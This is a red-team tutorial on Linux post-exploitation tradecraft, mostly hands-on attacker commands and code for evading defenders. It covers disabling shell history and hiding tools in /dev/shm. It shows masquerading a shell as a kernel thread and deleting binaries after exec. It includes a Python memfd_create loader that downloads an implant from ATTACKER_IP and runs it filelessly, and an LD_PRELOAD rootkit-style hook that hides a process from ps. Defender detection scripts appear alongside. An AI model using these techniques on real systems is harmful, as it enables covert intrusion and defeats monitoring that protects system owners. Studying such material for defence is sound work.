1.1a_Linux_Deep_Dive_P1

1.1a Linux Deep Dive — Part 1a: OPSEC Baseline

BLUF: Part 1a covers OPSEC baseline: history management, workspace discipline, logging evasion, and process masquerading. Part 1b: Privilege Escalation covers sudo, SUID, cron, NFS, and kernel CVEs.

Note

This file: OPSEC Baseline · Part 1b: Privilege Escalation · Part 2: Looting & C2


Attack Path

graph TD
    A["Shell Landed"]
    B["OPSEC Baseline
(history, workspace, logging)"] C["Situational Awareness"] D{"PrivEsc Vector?"} E["Sudo"] F["SUID"] G["Cron"] H["Kernel"] I["NFS"] J["ROOT"] K["Loot"] L["Persist"] M["Pivot"] N["Cleanup"] A --> B B --> C C --> D D -->|Sudo| E D -->|SUID| F D -->|Cron| G D -->|Kernel| H D -->|NFS| I E --> J F --> J G --> J H --> J I --> J J --> K J --> L J --> M M --> N

MITRE ATT&CK Mapping

Technique ID Name Tactic Where Used
T1562.003 Impair Command History Logging Defense Evasion OPSEC Baseline
T1548.003 Sudo and Sudo Caching Privilege Escalation Sudo misconfig
T1548.001 Setuid and Setgid Privilege Escalation SUID abuse
T1053.003 Cron Persistence / PrivEsc Cron hijack
T1068 Exploitation for Privilege Escalation Privilege Escalation Kernel CVE
T1552.001 Credentials In Files Credential Access Config/env looting
T1003.008 /etc/passwd and /etc/shadow Credential Access Shadow dump
T1552.007 Container API / Cloud Metadata Credential Access IMDS looting
T1543.002 Systemd Service Persistence Service backdoor
T1098.004 SSH Authorized Keys Persistence SSH persistence
T1070.003 Clear Command History Defense Evasion Cleanup
T1070.006 Timestomp Defense Evasion File timestomping

Section 1 — OPSEC Baseline: Stay Low From First Shell

Before you type a single enumeration command, lock down your trail. Defenders can't catch what isn't logged.

1.1 — Kill History Immediately

The very first commands you run after landing are the most exposed. Do this before anything else.

Stealth One-Liner (Session Kill):

unset HISTORY HISTFILE HISTFILESIZE HISTSIZE && export HISTFILE=/dev/null && export HISTSIZE=0 && set +o history

Step-by-Step Breakdown:

# Stop recording history for THIS SESSION ONLY -- does not touch ~/.bash_history on disk
unset HISTORY HISTFILE HISTFILESIZE HISTSIZE HISTSAVE HISTZONE
export HISTFILE=/dev/null     # redirect future writes to /dev/null (a sink)
export HISTSIZE=0             # keep 0 entries in memory
export HISTFILESIZE=0         # allow 0 entries to be written to HISTFILE

# Belt-and-suspenders: disable history list entirely for this shell
set +o history

# Confirm it's dead
echo $HISTFILE        # should print /dev/null
history               # should show empty or just this command

Why: HISTFILE=/dev/null makes bash write history into a black hole on session exit.
HISTSIZE=0 prevents accumulation in RAM. set +o history disables the history mechanism
entirely. None of these commands touch the existing ~/.bash_history — your prior history stays
intact on disk. Only new commands from this session are suppressed.


1.2 — Work in a Volatile Workspace

Never drop tools or write temp files in /tmp if you can avoid it — it's world-readable and often monitored. /dev/shm is memory-backed (tmpfs) and clears on reboot.

# Use /dev/shm as your working directory
cd /dev/shm

# Create a hidden directory with an innocuous name
mkdir .cache && cd .cache

# Alternatively: memory-only workspace using a RAM disk already present
df -h /dev/shm     # check available space -- usually half of RAM
ls -la /run/user/$(id -u)/  # per-user tmpfs -- also memory-backed

# When done: wipe it
rm -rf /dev/shm/.cache

Why: /dev/shm contents disappear on reboot, leaving nothing on disk for forensics.
World-readable /tmp means other users (or monitoring daemons) can see your files. Hidden dirs
(.name) still show with ls -la but are missed by careless ls sweeps.


1.3 — Understand What's Logging You

Know what generates log entries before you make them. The key sources defenders use:

Log Source Location What it captures
auditd /var/log/audit/audit.log Syscalls, file opens, exec, network — extremely detailed if rules are set
syslog / rsyslog /var/log/syslog General system events, daemon output
auth.log / secure /var/log/auth.log (Debian), /var/log/secure (RHEL) sudo use, su, SSH logins, PAM events
bash_history ~/.bash_history Command history (if not cleared)
systemd journal journalctl Service starts/stops, unit failures
wtmp / utmp / btmp /var/log/wtmp, /var/run/utmp, /var/log/btmp Login/logout records, failed logins
lastlog /var/log/lastlog Per-account last login timestamp
cron logs /var/log/cron, /var/log/syslog Cron job execution
EDR / endpoint agent Varies — look for Falco, Wazuh, CrowdStrike, SentinelOne Process creation, file writes, network connections
# Check if auditd is running -- most dangerous log source
systemctl status auditd 2>/dev/null || service auditd status 2>/dev/null
ps aux | grep auditd

# Check active audit rules (what syscalls/paths are being monitored)
auditctl -l 2>/dev/null     # requires root, but try anyway

# Check if an EDR is present
ps aux | grep -iE "falcon|wazuh|crowdstrike|sentinel|carbon|cylance|mdatp|osquery|aide|samhain|tripwire|auditbeat|filebeat"
systemctl list-units --state=active | grep -iE "falcon|wazuh|carbon|sentinel|crowdstrike|elastic|osquery"
ls /opt/ | grep -iE "crowdstrike|falcon|carbon|sentinel|cylance|wazuh"

# Can you read audit logs? (if yes, you know what was captured)
tail -20 /var/log/audit/audit.log 2>/dev/null

1.4 — Low-Noise Shell Techniques

# Execute commands without forking a visible child process (stays in same PID)
exec bash --norc --noprofile
# exec REPLACES the current process image -- no fork, same PID, same open fds
# --norc: skip ~/.bashrc (no alias loading, no prompt customization that leaks env)
# --noprofile: skip /etc/profile and ~/.bash_profile (no PATH modifications)
# GOTCHA on reverse shells: bash without -i flag exits immediately on a non-TTY pipe
#   because it detects non-interactive stdin and sees nothing to do
# FIX: exec bash -i --norc --noprofile   (-i forces interactive mode over pipe/socket)

exec /bin/sh
# sh is simpler than bash -- no rc file concept, no interactive detection overhead
# sh stays alive on a pipe by default because it doesn't gate on TTY presence
# use this as the fallback when exec bash drops your reverse shell

# Redirect stderr to suppress tool error noise that might land in syslog
./tool 2>/dev/null

# Run commands with a fake process name (basic EDR evasion -- not foolproof)
exec -a "[kworker/0:1]" /bin/bash
# exec -a sets argv[0] only -- comm (task_struct.comm) still shows "bash"
# see section 1.4.1 for full breakdown of what ps actually reads

# Avoid writing to disk entirely -- pipe tool output to grep/awk in memory
curl -s https://example.com/tool | bash    # WARNING: noisy -- curl itself is logged
# Better: transfer tool via scp/sftp and execute from /dev/shm

# Unshare from logging namespaces (advanced, requires capabilities)
unshare --user --map-root-user /bin/bash 2>/dev/null  # user namespace

# Check your current shell's PID and verify no debugger is attached
echo $                         # your shell's PID
cat /proc/$/status | grep -E "TracerPid"   # 0 = not being traced

1.4.1 — How ps aux Works (and Why Everything Shows Up)

You can't evade what you don't understand. ps has no magic — it reads a virtual filesystem any
user can see. Once you know exactly which kernel data structure feeds which output column, you know
exactly what to overwrite.


The Core Mechanic: /proc is a Window Into the Kernel

ps, top, htop, pgrep — none of these have special kernel access. They all do the same thing: enumerate directories under /proc/ and read files the kernel generates on-demand.

/proc is a pseudo-filesystem (type proc, not ext4/xfs/tmpfs). It has no backing storage on disk. When you cat /proc/1234/cmdline
, the kernel's procfs driver dynamically assembles that data from the task struct for PID 1234 in kernel memory and hands it to you. The
file has zero bytes on disk — it exists only as kernel code that responds to read() syscalls.

This means:

# Prove it -- ps is just reading /proc
strace -e trace=openat,read ps aux 2>&1 | grep "/proc"
# You'll see hundreds of: openat(AT_FDCWD, "/proc/1234/stat", O_RDONLY)
# ps is nothing but a loop: opendir(/proc) -> for each PID dir -> read stat/cmdline/status

# The exact files ps reads per process:
# /proc/<PID>/stat      -> PID, comm, state, PPID, CPU usage, start time
# /proc/<PID>/statm     -> memory usage (RSS, VSZ)
# /proc/<PID>/cmdline   -> full command line with all arguments
# /proc/<PID>/status    -> human-readable version of stat + UID/GID

Anatomy of /proc/ — Every File That Matters

# `tree /proc/<PID>/`

**cmdline**     # NULL-separated argument list: "bash\0-i\0\0"
                # ps aux COMMAND column reads this
                # YOU CAN CONTROL THIS via argv[0] at exec time

**comm**        # short name, max 15 chars, stored in task_struct.comm
                # ps -e, top, htop, pgrep all read this
                # YOU CAN CONTROL THIS via prctl(PR_SET_NAME) or writing /proc/self/comm

**exe**         # symlink → the actual binary path on disk (e.g., /bin/bash)
                # resolved via task_struct → mm → exe_file → dentry
                # YOU CANNOT FAKE THIS -- it points to the inode, not a string
                # BUT: if you delete the file on disk after exec, this dangles

**environ**     # NULL-separated env vars at process start
                # only readable by same UID (or root)
                # contains PATH, LD_PRELOAD, HOME, etc. -- reveals your setup

**maps**        # every memory region: [stack], [heap], .so files loaded
                # shows which shared libraries are mapped (forensics gold)
                # reveals injected .so files, memfd regions, etc.

**status**      # Name (=comm), State, Pid, PPid, TracerPid, Uid, Gid, Threads
                # TracerPid != 0 means a debugger is attached

**stat**        # machine-readable single-line version of status
                # this is what ps reads for CPU/memory/start time

**fd/**         # one symlink per open file descriptor
                # reveals: open sockets (type:port), log files being written,
                # pipes, /dev/null, /dev/shm files
                # lsof is just iterating this directory

**net/tcp**     # all TCP connections this process has (by net namespace)
**net/udp**     # all UDP sockets

**task/**       # one subdirectory per thread (for multi-threaded processes)
# Hands-on: examine your own shell's full identity
PID=$

echo "=== argv (what ps aux COMMAND shows) ==="
cat /proc/$PID/cmdline | tr '\0' '\n'
# Each null-separated token is one argument

echo "=== comm (what ps -e / top shows) ==="
cat /proc/$PID/comm
# Max 15 chars. Truncated if longer.

echo "=== real binary ==="
ls -la /proc/$PID/exe
# This is ground truth -- you can't lie here without deleting the file

echo "=== parent process ==="
grep PPid /proc/$PID/status
# This is the PPID -- what spawned you. Defenders check this chain.

echo "=== open files and sockets ==="
ls -la /proc/$PID/fd/
# Every open fd. Network connections show as: socket:[inode]

echo "=== loaded libraries ==="
grep "\.so" /proc/$PID/maps
# Every shared library mapped into this process

echo "=== am I being traced? ==="
grep TracerPid /proc/$PID/status
# 0 = clean. Non-zero = strace/gdb/ptrace attached.

What Defenders Actually Look At in ps aux

Understanding the defender's workflow tells you exactly which fields to attack.

# A basic blue team sweep for suspicious processes:
ps aux --forest   # shows parent-child tree -- catches webshell->bash chains
ps aux | grep -E "(/tmp|/dev/shm|/var/tmp)"   # tools in memory-backed dirs
ps aux | grep -E "(nc |ncat|netcat|socat)"     # reverse shell tools
ps aux | grep -iE "(python.+-c|perl.+-e|ruby.+-e)"  # one-liner code execution
ps aux | awk '$3 > 50.0'   # abnormal CPU -- cryptominer, brute forcer
ps aux Column Source in /proc Defender Use Attack Surface
USER /proc/<PID>/status Uid field Is root running something unusual? Can't fake UID without actual privesc
PID Directory name /proc/<PID>/ Enumerate children of web server Can't change PID — it's assigned by kernel
%CPU / %MEM /proc/<PID>/stat fields 14,15,23,24 Spike detection Stay below threshold; don't loop-scan
VSZ / RSS /proc/<PID>/statm Large anonymous mappings Use minimal memory; avoid huge heap
STAT /proc/<PID>/stat field 3 S=sleeping, R=running, D=disk wait, Z=zombie Normal beacon is S (sleeping) — fine
START /proc/<PID>/stat field 22 (starttime) Processes started at 3am stand out Run during business hours if possible
TTY /proc/<PID>/stat field 7 ? = no terminal (daemon/background) Background processes show ? — normal
COMMAND /proc/<PID>/cmdline Name matching, arg scanning This is the main attack surface

Level 1 — Fake the Process Name (argv[0])

Every process carries argv[] — the argument vector passed to main(). argv[0] is conventionally the program name. The kernel copies
this into /proc/<PID>/cmdline and it is what ps aux shows in the COMMAND column.

Critical insight: argv[0] is just a string in user-space memory. The kernel doesn't validate it against the actual binary path. You can put anything there.

# exec -a <name> <binary> -- sets argv[0] to <name> at exec time
# The kernel copies argv[0] into the new process's cmdline memory region
exec -a "[kworker/0:1H]" /bin/bash

# ps aux now shows:
# USER   PID  %CPU %MEM  VSZ  RSS TTY  STAT START TIME COMMAND
# root  1337   0.0  0.1 5432 2048  ?   S    10:00  0:00 [kworker/0:1H]
# <-- indistinguishable from a real kernel worker thread in a casual check

# RECON FIRST: match names that already exist on this specific target
# Real kernel thread names follow a pattern: [type/cpu:priority]
ps aux | awk '{print $11}' | grep "^\[" | sort -u
# Output on a 4-core system might show:
# [kworker/0:0H]
# [kworker/0:1H]
# [kworker/1:0]
# [kworker/u8:1]
# [migration/0]
# [kthreadd]
# -> pick a number/cpu combo that already exists OR one that's plausible

# Other convincing masquerades depending on what's running:
exec -a "sshd: root@pts/1"       /bin/bash   # looks like an active SSH session
exec -a "/usr/sbin/sshd -D"      /bin/bash   # looks like the main sshd listener
exec -a "/usr/sbin/cron -f"      /bin/bash   # looks like cron in foreground mode
exec -a "-bash"                  /bin/bash   # leading dash = login shell (normal)
exec -a "python3 /usr/bin/xxx"   ./tool      # legitimate-looking script runner
exec -a "(sd-pam)"               /bin/bash   # PAM systemd helper -- common, ignored

# For non-bash tools (compiled implants), exec -a works the same way:
exec -a "systemd-udevd" ./implant            # looks like udev daemon
exec -a "/usr/lib/systemd/systemd --user" ./implant  # looks like user systemd

# Check: what does ps show now?
ps aux | grep "kworker/0:1H"    # should show your shell
cat /proc/$/cmdline | tr '\0' ' '  # raw cmdline -- shows your fake name

Why this works: exec() syscalls take the argv array directly from user space and store it in the new process's memory. The kernel
only uses argv[0] to fill cmdline — it never cross-checks it against the exe symlink path.

Why it fails against forensics: argv[0] only changes cmdline. The exe symlink ( /proc/<PID>/exe) still points to the real
binary — /bin/bash. Any script that does ls -la /proc/*/exe | grep bash will find you even if your name looks like a kernel thread.


Level 2 — Change the Kernel comm Name (prctl)

cmdline and comm are two separate kernel fields stored in different places.

Changing only argv[0] leaves comm pointing to the original binary name. An IR script using pgrep bash or ps -eo comm will still find you.

# --- Method 1: Write directly to /proc/self/comm (Linux 3.8+, simplest) ---
# The kernel allows a process to write its own comm field through this interface
echo -n "kworker/0:1H" > /proc/self/comm
# Note: -n is critical -- a trailing newline would be included in the name

# Verify both fields now match:
cat /proc/$/comm                  # reads task_struct.comm -> kworker/0:1H
ps -p $ -o comm=                  # same field, ps format -> kworker/0:1H
ps aux | grep $                   # COMMAND column (cmdline) should also match
# If you did exec -a + wrote /proc/self/comm, both fields are consistent [Y]

# --- Method 2: prctl(PR_SET_NAME) from C ---
# This is the proper syscall interface. PR_SET_NAME = 15.
# Truncates to 15 chars (the 16th byte is always null terminator).
#
# #include <sys/prctl.h>
# prctl(PR_SET_NAME, "kworker/0:1H", 0, 0, 0);
#
# Internally this writes to current->comm in the kernel task struct.
# The change is immediately visible in /proc/<PID>/comm and in ps output.

# --- Method 3: From Python (no dependencies) ---
# ctypes lets us call libc functions directly without any import
python3 -c "
import ctypes
# PR_SET_NAME = 15 (from <sys/prctl.h>)
# The string must be bytes, max 15 chars + null
libc = ctypes.CDLL(None)   # None = load the currently loaded libc
libc.prctl(15, b'kworker/0:1H', 0, 0, 0)

import time
time.sleep(9999)  # keep alive to verify in ps
"
# In another terminal: ps aux | grep kworker  -> shows python3 with comm kworker/0:1H

# --- Method 4: From Rust (for custom implants) ---
# extern crate libc;
# unsafe { libc::prctlPR_SET_NAME, b"kworker/0:1H\0".as_ptr(), 0, 0, 0; }

# --- Method 5: From Go (for Sliver custom builds / Thanatos) ---
# import "golang.org/x/sys/unix"
# name := [16]byte{}
# copy(name[:], "kworker/0:1H")
# unix.Prctl(unix.PR_SET_NAME, uintptr(unsafe.Pointer(&name[0])), 0, 0, 0)

# --- Consistency check: both fields must match ---
# A process with mismatched cmdline vs comm is a forensic red flag:
# cmdline says: [kworker/0:1H]   (from exec -a)
# comm says:    bash              (original, not changed)
# -> Any IR script doing: ps -eo pid,comm,args | grep -v "^comm matches args"
#   will catch the mismatch immediately.
#
# ALWAYS change both. exec -a changes cmdline. prctl/proc/self/comm changes comm.

Level 3 — Masquerade as a Kernel Thread (Full Technique)

Real kernel threads have three distinguishing properties:

  1. They appear with brackets in ps: [kworker/0:1H]
  2. They are owned by root (UID 0)
  3. /proc/<PID>/exe is empty — kernel threads have no userland binary

A userland process faking a kernel thread name will fail check #3: its /proc/<PID>/exe still points to /bin/bash or wherever the binary is. Any competent IR script checks this:

# IR script to find fake kernel threads (defenders use this):
for pid in /proc/[0-9]*/; do
    name=$(cat "$pid/comm" 2>/dev/null)
    exe=$(readlink "$pid/exe" 2>/dev/null)
    # Real kernel threads have no exe. If name looks like [kworker] but has exe -> suspicious
    if [[ "$name" == kworker* ]] && [[ -n "$exe" ]]; then
        echo "SUSPICIOUS: PID ${pid##*/proc/} comm=$name exe=$exe"
    fi
done

The countermeasure: delete the binary on disk after exec. Linux uses inode reference counting — a file is only truly deleted when its
link count AND open file descriptor count both reach zero. When you exec a binary, the kernel holds a reference to its inode via mm->exe_file
. When you rm the file, the directory entry disappears, but the inode stays alive because the running process holds a reference. The exe
symlink now dangles — it points to a deleted path.

# Full kernel thread masquerade -- step by step

# Step 1: recon -- what kernel threads exist on this target?
ps aux | awk '$1=="root" && $11~/^\[/ {print $11}' | sort -u
# Pick a thread name that fits the CPU count (e.g., /0: on a 4-core = plausible)
# kworker/0:1H -- cpu 0, worker 1, high-priority (H suffix)
# kworker/u8:2 -- unbound worker pool (u), pool 8, worker 2

# Step 2: copy bash to /dev/shm (memory-backed tmpfs, disappears on reboot)
# /dev/shm is a tmpfs -- reads/writes go to RAM, not to any physical disk
# inode for the copy is on tmpfs, not on ext4/xfs where disk forensics look
cp /bin/bash /dev/shm/.kwork

# Step 3: exec with fake argv[0], using -p to preserve UID (important if setuid)
# exec replaces the current process image -- same PID, new binary
# -p: bash's "privileged" flag -- skips .bashrc, preserves EUID
exec -a "[kworker/0:1H]" /dev/shm/.kwork -p

# Step 4: delete the file on disk immediately after exec
# The binary is now loaded into memory (text segment). The file's inode still
# exists (held by mm->exe_file), but the directory entry is gone.
# rm removes the dentry (name->inode mapping), not the inode itself.
rm -f /dev/shm/.kwork

# Step 5: change the comm field to match
echo -n "kworker/0:1H" > /proc/self/comm

# Step 6: verify the masquerade
cat /proc/$/comm          # -> kworker/0:1H   [Y] comm matches
cat /proc/$/cmdline | tr '\0' ' '  # -> [kworker/0:1H]  [Y] cmdline matches

ls -la /proc/$/exe 2>&1
# -> lrwxrwxrwx 1 root root 0 ... /proc/1337/exe -> '/dev/shm/.kwork (deleted)'
# The "(deleted)" tag appears because the dentry is gone.
# This is the best you can do without kernel modification.
# A real kworker shows: /proc/<PID>/exe -> '' (empty, no binary at all)

# Step 7: check the parent chain -- this is still suspicious
# Your "kernel thread" has PPID = your original shell. Real kworkers have PPID=2 (kthreadd).
grep PPid /proc/$/status   # -> still your original shell's PID
# There is no user-space way to change PPID. It's set by the kernel on fork().

Residual forensic indicators even after full masquerade:


Level 4 — Execute Entirely from Memory (memfd_create)

memfd_create() is a Linux syscall (introduced in kernel 3.17) that creates an anonymous file backed only by RAM — no filesystem
path, no inode on any disk-backed FS, no directory entry anywhere. The kernel assigns it a file descriptor and nothing else.

You can write a full ELF binary into this fd and then execfd() (or exec("/proc/self/fd/<N>")) it. The running process's /proc/<PID>/exe
symlink will point to /memfd:<name> — an anonymous mapping, not a real file path.

# The full memfd_create technique in Python -- no disk write at any point

python3 << 'EOF'
import ctypes, os, sys, urllib.request

# -- Step 1: Download the binary into a Python bytes object in heap memory --
# urllib.request.urlopen reads the entire response into memory.
# At no point is any byte written to the filesystem.
# Use HTTPS in production -- plain HTTP exposes your payload to network inspection.
url = "http://ATTACKER_IP/implant"
try:
    data = urllib.request.urlopen(url).read()
except Exception as e:
    sys.exit(f"download failed: {e}")

# -- Step 2: Create an anonymous memory-backed file descriptor --
# memfd_create(name, flags)
#   name:  a label for the fd -- appears as /proc/self/fd/<N> -> /memfd:<name>
#          this name is visible in /proc/<PID>/exe and /proc/<PID>/maps
#          use an innocent-looking name (empty string or "mem" are both valid)
#   flags: MFD_CLOEXEC = 1 -- close on exec (prevents fd leaking to children)
#          MFD_ALLOW_SEALING = 2 -- allow fcntl sealing (optional)
libc   = ctypes.CDLL(None)
memfd  = libc.memfd_create(b"", 1)   # flag=1 = MFD_CLOEXEC
# memfd is now a file descriptor number (e.g., 3)
# /proc/self/fd/3 -> /memfd: (anonymous, no path on any filesystem)

if memfd < 0:
    sys.exit("memfd_create failed -- kernel < 3.17 or seccomp blocks it")

# -- Step 3: Write the ELF binary into the memory fd --
# os.write() calls the write() syscall on the fd.
# The kernel writes the data into pagecache pages backing the memfd.
# Nothing touches disk. The pages live in RAM until the fd is closed.
os.write(memfd, data)

# -- Step 4: Seek back to the beginning (exec reads from offset 0) --
os.lseek(memfd, 0, os.SEEK_SET)

# -- Step 5: execv the binary via its /proc/self/fd/<N> path --
# The kernel's execve() can take any file path -- including /proc/self/fd/<N>.
# It will find the memfd, load the ELF, and replace this process image.
# argv[0] is set to our fake name -> COMMAND column shows "kworker/0:1H"
exe_path = f"/proc/self/fd/{memfd}"
os.execv(exe_path, ["kworker/0:1H"])   # argv[0] = fake name, never returns
EOF

# What ps sees after exec:
# USER   PID  COMMAND
# root  1337  kworker/0:1H
#
# What /proc/<PID>/exe shows:
# /proc/1337/exe -> /memfd: (deleted)
# <-- "memfd:" prefix reveals it's an anonymous mapping -- EDRs flag this
# <-- but no disk artifact, no filename, no inode on any real filesystem

# -- Alternative: shared library approach --
# Compile your tool as a shared object (.so) instead of an ELF executable.
# Load it via Python's ctypes -- the host process (python3) is the one in ps.
# Your tool's code runs inside python3's address space.
# /proc/<PID>/maps will show the .so path (if it's on disk) -- use memfd for the .so too.

# Compile as .so:
# gcc -shared -fPIC -o /dev/shm/.lib.so tool.c -nostartfiles
# Run:
python3 -c "
import ctypes
# Load the .so -- kernel calls the constructor (_init or __attribute__((constructor)))
# Your payload runs immediately on dlopen, inside the python3 process
lib = ctypes.CDLL('/dev/shm/.lib.so')
# ps shows: python3   <-- no trace of your tool name
"

Why this still has tells:


Level 5 — Short-Lived Processes (Time-Based Evasion)

ps aux is a point-in-time snapshot. It shows what is running at the exact millisecond you run it. A process that exits before a defender checks ps is invisible to them.

# -- Concept: the detection window --
# A defender manually running ps every few minutes catches only persistent processes.
# A process that lives for 0.5 seconds and exits is missed by manual checks.
# BUT: automated tools like pspy, auditd, and Falco run continuously -- they catch everything.

# -- Short-lived enumeration --
# Run linpeas, capture to file, have it exit immediately -- by the time anyone looks, it's gone
/dev/shm/.ls > /dev/shm/.out 2>/dev/null &
# The & sends it to background. It runs, finishes in ~30 seconds, disappears.
# ps snapshot a minute later shows nothing.

# -- C2 beacon with long sleep (most effective) --
# A Sliver beacon sleeping 300s+45% jitter:
# - Wakes up, does a ~200ms HTTP check-in, goes back to sleep
# - In 24 hours, it is visibly alive for roughly 96 x 0.2s = ~19 seconds total
# - Probability of catching it in a random ps check: 19s / 86400s = 0.02%
# The process itself stays in the process table the whole time (it's sleeping, STAT=S)
# but its CPU usage is 0.0% and its name can be masqueraded
sliver > sleep 300s 45   # 300 seconds base, 45% jitter = 165-435s actual interval

# -- Thread-based evasion --
# Spawn a thread for the active work, have the main process look idle.
# ps shows the main process (with fake name). The worker thread does the real work.
# Threads share the same PID -- only one entry in ps.
# Thread names can also be changed per-thread via prctl(PR_SET_NAME) in each thread.

# -- Checking if pspy is running (before you assume short-lived is safe) --
# pspy reads /proc/<PID>/stat and /proc/<PID>/cmdline on every new PID it discovers
# by inotify-watching /proc itself for new directory creation events.
# If pspy is running, it WILL catch short-lived processes.
ps aux | grep -v grep | grep pspy          # obvious check
ls /proc/*/exe 2>/dev/null | xargs -I{} readlink {} | grep pspy   # stealthier
# Also check for process monitors using inotify on /proc:
# Any process with an open inotify fd watching /proc is likely a process monitor
find /proc/*/fd -lname "inotify" 2>/dev/null | head    # -> /proc/<pspy-PID>/fd/N

Level 6 — Hook the Readdir Syscall (LD_PRELOAD Process Hiding)

This is the technique rootkits use. Instead of hiding your process name, you hide the PID directory from /proc entirely — ps never sees the process because it can't enumerate the directory entry.

# -- How it works --
# ps enumerates /proc/ by calling getdents64() (get directory entries).
# The kernel returns a list of directory names (PIDs as strings).
# If you hook getdents64() via LD_PRELOAD, you can filter out specific PIDs
# from the results -- ps never sees them.

# -- The hook (C source) --
# Save as /dev/shm/hide.c
cat > /dev/shm/hide.c << 'EOF'
#define _GNU_SOURCE
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

// The PID to hide -- set via environment variable HIDE_PID
// This avoids hardcoding a PID that changes every run

// Hook readdir() -- called by ps when iterating /proc
struct dirent *readdir(DIR *dirp) {
    // Get the real readdir from libc
    struct dirent *(*real_readdir)(DIR *) = dlsym(RTLD_NEXT, "readdir");
    struct dirent *entry;

    char *hide_pid = getenv("HIDE_PID");  // PID to conceal, from environment

    while ((entry = real_readdir(dirp)) != NULL) {
        // If this directory entry's name matches our target PID, skip it
        // ps will never see this PID in the /proc listing
        if (hide_pid && strcmp(entry->d_name, hide_pid) == 0)
            continue;   // swallow this entry -- it never reaches ps
        break;          // return all other entries normally
    }
    return entry;
}
EOF

# -- Compile as a shared library --
gcc -shared -fPIC -nostartfiles -o /dev/shm/hide.so /dev/shm/hide.c -ldl

# -- Apply to your shell session --
export LD_PRELOAD=/dev/shm/hide.so
export HIDE_PID=$    # hide the current shell's PID

# -- Verify --
ps aux | grep $      # your PID is gone from ps output
ls /proc/$           # BUT: /proc/<PID>/ still exists -- direct access still works
                      # This only hides from tools that use readdir() to enumerate /proc

# -- Limitations --
# 1. Only hides from processes that inherit your LD_PRELOAD environment.
#    If a defender opens a new shell (no inherited env), they see your process normally.
# 2. Direct /proc/<PID>/ access still works -- 'cat /proc/1337/cmdline' still works.
# 3. Kernel-level tools (auditd, eBPF-based EDRs) bypass libc entirely -- they
#    call getdents64() via syscall instruction, not via libc, so the hook is bypassed.
# 4. setuid binaries (like su, sudo) ignore LD_PRELOAD for security reasons.
#    A defender running 'sudo ps aux' gets the unhooked view.
# 5. This technique is noisy in /proc/<self>/maps -- the .so path appears there.

Putting It All Together — Operational Stealthy Shell

# -- Objective: land a persistent shell that survives casual ps checks,
#    blends into the process list, and leaves minimal /proc forensic evidence --

# Step 1: identify the target environment BEFORE doing anything
# Know what names are plausible. Don't pretend to be kworker/0:1H on a 1-core VM.
ps aux | awk '$11~/^\[/' | sort -u      # list all kernel thread names
ps aux | grep "sshd:"                   # what SSH session names look like
ps aux | grep cron                      # whether cron is running and its format
uname -r                                # kernel version -- affects available techniques
cat /proc/version                       # same

# Step 2: copy your shell to memory-backed storage
# /dev/shm = tmpfs -- lives in RAM, survives only until reboot, no disk forensics
cp /bin/bash /dev/shm/.x
# Why not /tmp? /tmp is often a real filesystem (ext4) -- survives reboots, shows in fs forensics

# Step 3: exec with matching fake name
# -p: "privileged" mode -- don't read .bashrc/.profile (less noise), preserve effective UID
exec -a "[kworker/0:1H]" /dev/shm/.x -p

# Step 4: immediately delete the on-disk copy
# The inode stays alive (kernel holds exe reference), dentry (name) is gone
# /proc/<PID>/exe will show "(deleted)" -- imperfect but better than a live path
rm -f /dev/shm/.x

# Step 5: rename the kernel comm field
# Without this, 'top', 'pgrep bash', 'killall bash' still finds you
echo -n "kworker/0:1H" > /proc/self/comm

# Step 6: suppress future history
unset HISTFILE
export HISTSIZE=0

# Step 7: verify the full picture
echo "== PID =="
echo $

echo "== cmdline (COMMAND in ps aux) =="
cat /proc/$/cmdline | tr '\0' ' '
# Expected: [kworker/0:1H]  -p

echo "== comm (shown in top/pgrep/ps -e) =="
cat /proc/$/comm
# Expected: kworker/0:1H   (max 15 chars, no brackets -- stored without them)

echo "== exe symlink =="
ls -la /proc/$/exe 2>&1
# Expected: ... /proc/<PID>/exe -> '/dev/shm/.x (deleted)'
# Real kworker would show nothing. This is the main residual tell.

echo "== parent chain =="
grep -E "^(Pid|PPid)" /proc/$/status
# PPid still points to your parent shell. Real kworkers have PPid=2 (kthreadd).
# This is unfixable from userland.

echo "== is pspy watching? =="
find /proc/*/fd -lname "inotify" 2>/dev/null | grep -v "^$" | wc -l
# If > 0, something is monitoring /proc with inotify -- adjust behavior

Detection Matrix — What Each Blue Team Tool Sees

Your Technique Manual ps aux pspy64 auditd execve EDR (Falco/Wazuh) Direct /proc check
Fake argv[0] only Hidden [Y] Still caught (reads cmdline) Caught at exec Caught [N] exe reveals truth
+ fake comm (prctl) Hidden Caught Caught Caught [N] exe reveals truth
+ deleted binary Hidden Caught Caught Caught [~] exe shows (deleted)
memfd_create exec Hidden Caught Caught (logs memfd path) Caught (memfd pattern) [~] exe -> /memfd:
LD_PRELOAD hook Hidden Caught (raw syscall) Caught Caught [Y] Direct /proc works
Long-sleep beacon Hidden (sleeping) Caught on start Caught once at exec Caught at exec [Y] Process still there
All combined Hidden Caught Caught Caught [~] Partial

The hard truth: there is no userland technique that defeats auditd with execve logging enabled. Every execve() syscall
generates a log entry regardless of what the process calls itself. The only way to defeat kernel-level monitoring is to operate at the
kernel level (rootkit/BYOVD) or avoid execve entirely (inject into existing process, use LD_PRELOAD .so constructor, use memfd +
shell built-ins).

Operational guidance: Use process masquerading as noise reduction against SIEM rules and manual
blue team checks — not as a primary detection bypass. Layer it with: long-sleep beacons (minimize
visibility window), injection into existing trusted processes (avoid new process creation
entirely), and operating during high-process-noise periods (business hours, patch cycles, log
rotation) where your process blends into hundreds of legitimate ones.


1.5 — Minimize Your Footprint Checklist

Before each phase, run through this mentally:

Question Action
Will this write to disk? Use /dev/shm or pipe output to memory
Will this generate a new process visible in ps? Consider if timing matters — work during normal business hours when process noise is high
Will this touch auth.log? sudo, su, SSH logins all write here — avoid when possible
Will this trigger auditd rules? File reads on /etc/shadow, /etc/passwd writes, /bin/bash exec as root
Will this be visible in w or who? Your shell session is listed — consider if defenders check active sessions
Did I compile or curl anything? gcc and curl are both commonly alerted on — transfer tools via legitimate channels

Continues in Part 1b: Privilege Escalation

Part of the Red Teaming 101 series.